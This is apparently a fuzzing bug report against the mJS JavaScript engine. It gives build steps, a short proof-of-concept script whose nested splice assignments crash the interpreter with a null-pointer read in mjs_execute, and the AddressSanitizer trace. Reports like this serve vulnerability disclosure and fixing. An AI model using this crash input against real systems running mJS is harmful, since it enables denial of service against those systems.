SEGV src/mjs_exec.c:823 in mjs_execute

[hope-fly]

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make

Test case

poc.js

```javascript
function JSEtest() {
    let arr = [1];
    arr.splice((arr.splice(0, 17)= [1])= [1])= [1]
}
JSEtest();
```

​

Execution steps & Output

$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==23867==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55dcd2425950 bp 0x000000000000 sp 0x7fff558e7b00 T0)
==23867==The signal is caused by a READ memory access.
==23867==Hint: address points to the zero page.
    #0 0x55dcd242594f in mjs_execute src/mjs_exec.c:823
    #1 0x55dcd2430a05 in mjs_exec_internal src/mjs_exec.c:1073
    #2 0x55dcd2430a05 in mjs_exec_file src/mjs_exec.c:1096
    #3 0x55dcd23ed909 in main src/mjs_main.c:47
    #4 0x7f63f4c54b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #5 0x55dcd23ee449 in _start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_exec.c:823 in mjs_execute

Credits: Found by OWL337 team.